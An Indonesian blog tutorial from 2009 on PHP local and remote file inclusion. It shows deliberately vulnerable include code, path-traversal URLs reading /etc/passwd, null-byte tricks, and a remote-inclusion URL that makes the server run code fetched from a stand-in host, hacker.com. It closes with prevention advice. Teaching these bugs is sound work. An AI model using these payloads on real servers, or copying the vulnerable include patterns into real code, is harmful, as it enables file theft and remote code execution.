Loading

Tuesday, January 6, 2009

LFI dan RFI

apaan sih LFI (local file inclusion) itu??
LFI adalah suatu bug dimana kita bisa menginclude kan file (file yang berada didalam server yg bersangkutan)
ke page yang vulnerable (vulnerable LFI maksudnya).
sedangkan RFI (remote file inclusion) mirip dengan LFI, hanya saja kita bisa mengincludekan file diluar server yg bersangkutan.
(tentu saja mengekploitasi RFI akan lebih mudah & menyenangkan dibandingkan mengeksploitasi LFI).

fungsi-fungsi php yang digunakan dalam LFI/RFI:
include()
include_once()
require()
require_once()

contoh code:
1. vulnerable LFI dan RFI ==> konfigurasi yg dibutuhkan allow_url_include = on; allow_url_fopen = on
lfi.php
$page = $_GET[page];
include($page);
?>

eksploitasi LFI
misalkan kita memanggil url
http://localhost/lfi.php?page=../../../../../../../../etc/passwd
atau
http://localhost/lfi.php?page=c:/boot.ini
jadi $page = $_GET[page] = ../../../../../../../../etc/passwd
dan file /etc/passwd akan dieksekusi.
karena /etc/passwd bukanlah code-code php maka isi dari /etc/passwd akan ditampilkan ke browser.

eksploitasi RFI
misalkan kita memanggil url
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt
dan isi dari hack.txt adalah

maka page tadi akan menampilkan tulisan "dihack oleh hacker".
ini terjadi karena isi dari hack.txt dieksekusi oleh server.

2. vulnerable LFI saja
lfi.php
$page = $_GET[page];
include("./".$page);
?>

misalkan kita memanggil url
http://localhost/lfi.php?page=../../../../../../../../etc/passwd
maka $page = $_GET[page] = ./../../../../../../../../etc/passwd
dan isi file /etc/passwd akan ditampilkan ke browser

misalkan kita memanggil url
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt
maka baris ketika code php kita , yaitu include akan menjadi
include("./".http://www.hacker.com/hack.txt);
==> maka ./http://www.hacker.com/hack.txt akan dianggap sebagai file dan server akan mencari file tersebut.
tentu saja akan error karena file ./http://www.hacker.com/hack.txt tidak ada dalam server tersebut.

3. lain-lain ===> settingan yg dibutuhkan: allow_url_include = on; allow_url_fopen = on; magic_quotes_gpc = off
$page = $_GET[page];
include($page.".php");
?>

eksploitasi LFI:
http://localhost/lfi.php?page=../../../../../../../../etc/passwd
maka $page = $_GET[page] = ../../../../../../../../etc/passwd.php
sedangkan fungsi dari (teknik null injection) adalah untuk menghilangkan karakter sesudah (tentunya ikut hilang juga).
jadi $page = $_GET[page] = ../../../../../../../../etc/passwd ==> tanpa embel-embel .php
untuk melakukan teknik ini, maka settingan magic_quotes_gpc harus off, jika magic_quotesnya on maka akan diganti oleh server menjadi \0 sehingga teknik null injection menjadi gagal.

exploitasi RFI:
http://localhost/lfi.php?page=http://www.hacker.com/hack.txt?
maka $page = $_GET[page] = http://www.hacker.com/hack.txt?.php
nah .php oleh server akan diabaikan.

Cara mencegah LFI/RFI
1.dengan code php
misalkan
$page = $_GET[page];
switch($page)
{
case "1.php":
include("1.php");
break;
case "2.php":
include("2.php");
break;
default:
include("1.php");
}
?>
hal ini akan membuat file yang bisa di-includekan hanya 1.php dan 2.php
2.settingan server
misalkan
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc= on
open_basedir = "/www/html/serverku"

kesimpulan:
1. LFI dan RFI sebenernya adalah dua buah bug yang sangat mirip, hanya bedanya jika LFI mengambil file dari dalam server, maka RFI mengambil fil dari luar server

2. untuk RFI agar bisa dieksploitasi maka dibutuhkan agar settingan pada server : allow_url_include = on dan allow_url_fopen = on

3.null byte injection bisa dicegah dengan mengaktifkan magic_quotes

4. LFI dan RFI bisa dicegah dengan pengkodean dan pen-settingan server yang baik


--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
y3dips
K-159
bius

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)
MAAFKAN ATAS SEMUA DOSA DAN SALAHKU

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ boys_rvn1609, arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding

1 komentar:

Anonymous said...

bro.. skali-kali kirim artikel ke newhack. hehehe artikelnya berguna banget.. okay?

salam - u'r friend :)

Categories

Stats

kumpulblogger